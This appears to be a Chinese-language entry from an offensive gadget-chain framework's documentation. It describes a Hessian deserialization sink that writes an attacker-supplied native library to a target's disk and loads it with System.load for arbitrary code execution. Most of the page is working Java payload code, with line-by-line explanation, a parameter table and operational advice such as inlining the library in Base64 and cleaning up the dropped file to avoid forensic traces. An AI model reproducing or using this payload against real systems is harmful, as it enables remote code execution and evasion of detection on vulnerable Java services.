- 类别:hessian 别名:— 优先级:—
- 作者:—
- 依赖:
only jdk(仅需 JDK,无第三方 gadget 依赖)
Hessian 场景下的完整 sink(tags 含 END,不再衔接下游):借 SwingLazyValue 依次反射调用 JDK 内置的 JavaUtils.writeBytesToFilename 把攻击者提供的动态链接库(.so/.dylib/.dll)字节写入目标磁盘,再反射调用 System.load 加载该库,触发其 JNI_OnLoad/native 构造代码,实现任意本地代码执行。
- 入口
tags:HessianDeserialize、END—— 承接 Hessian 反序列化入口;END表示它是链尾 sink,无需再接下游。 - 衔接
nextTags:无(自成终点)。 excludes:无。
public Object getObject() throws Exception {
log.warn("[OPSEC] need to clean in target file: {}", (Object)this.path);
byte[] bytes = null;
if (this.fileBase64 != null && !this.fileBase64.isEmpty()) {
bytes = Base64.decodeBase64((String)this.fileBase64);
} else if (this.localPath != null && !this.localPath.isEmpty()) {
bytes = FileHelper.fileGetContent(this.localPath);
} else {
ThrowsUtil.throwNotFoundOptionGadgetException("'fileBase64' or 'localPath'");
}
SwingLazyValue writeValue = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{this.path, bytes});
SwingLazyValue loadValue = new SwingLazyValue("java.lang.System", "load", new Object[]{this.path});
LinkedList<Object> list = new LinkedList<Object>();
list.add(this.getMap(writeValue));
list.add(this.getMap(loadValue));
return list;
}逐段解释:
- 库文件字节来源二选一:优先
fileBase64(Base64 解码),否则读本地localPath;都为空则抛「缺参」异常。 writeValue:SwingLazyValue("...JavaUtils", "writeBytesToFilename", {path, bytes})——求值时静态调用JavaUtils.writeBytesToFilename(path, bytes),把库字节落地到目标机path。JavaUtils属rt.jar(xml security 内部工具),满足SwingLazyValue只能调rt.jar类的限制。loadValue:SwingLazyValue("java.lang.System", "load", {path})——求值时调用System.load(path)加载刚写出的动态库,触发 native 代码执行。- 用
LinkedList保序装入两份 map:先writeValue后loadValue,确保反序列化触发时先写文件、再加载。
public Object getMap(SwingLazyValue value) throws Exception {
UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("gadget-chains", value);
u2.put("gadget-chains", value);
return PayloadHelper.makeMap(u1, u2);
}getMap 与 SwingLazyValueUIDefaults 的触发外壳一致:把 SwingLazyValue 放进两个键相同的 UIDefaults,用 PayloadHelper.makeMap 构造键碰撞 HashMap;反序列化时 Hashtable.equals 遍历取值触发 UIDefaults.get → SwingLazyValue.createValue,完成反射调用。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject();
}invoke 直接返回 getObject(),不调用 chain.doCreate——印证它是自给自足的链尾 sink。
| 字段 | 名称 | 说明 | 默认 | 必填 |
|---|---|---|---|---|
path |
写入的文件路径 | 库文件在目标机上的落地路径(也是 System.load 的目标) |
tmp123 |
是 |
fileBase64 |
动态链接库文件 Base64 格式 | Base64 编码的二进制 so/dylib/dll 文件(优先使用) | 无 | 否 |
localPath |
本地动态链接库文件路径 | 从本地读取库文件(fileBase64 为空时使用) |
无 | 否 |
dependencies=only jdk,全程 JDK 内置类(JavaUtils/System/SwingLazyValue/UIDefaults),适合无第三方库的目标。- 平台相关:需按目标操作系统提供匹配的原生库(Linux
.so、macOS.dylib、Windows.dll),System.load要求绝对路径。 - 优先用
fileBase64内联传库,避免依赖攻击机→目标机的额外文件通道。 - 代码内
log.warn("[OPSEC] need to clean ...")提示:落地的库文件需事后清理,属显著取证痕迹(检测点)。 - 受
SwingLazyValue.createValue的classLoader=null限制,故落点选择rt.jar内的JavaUtils与System。
自由构件,未直接出现在预设链(作 Hessian 链尾 sink,可替换 BytecodeConvert+Exec 等字节码 sink)。
- 触发外壳同源:SwingLazyValueUIDefaults(同用
makeMap+SwingLazyValue)。 - 同族入口:SwingLazyValueMethodUtil(走
Unsafe.defineClass内存加载)、SwingLazyValueJarWrite(写 jar +Class-Path注入)——三者分别代表「加载 native 库 / 内存定义类 / 落地 jar」三条 JDK 原生落地路线。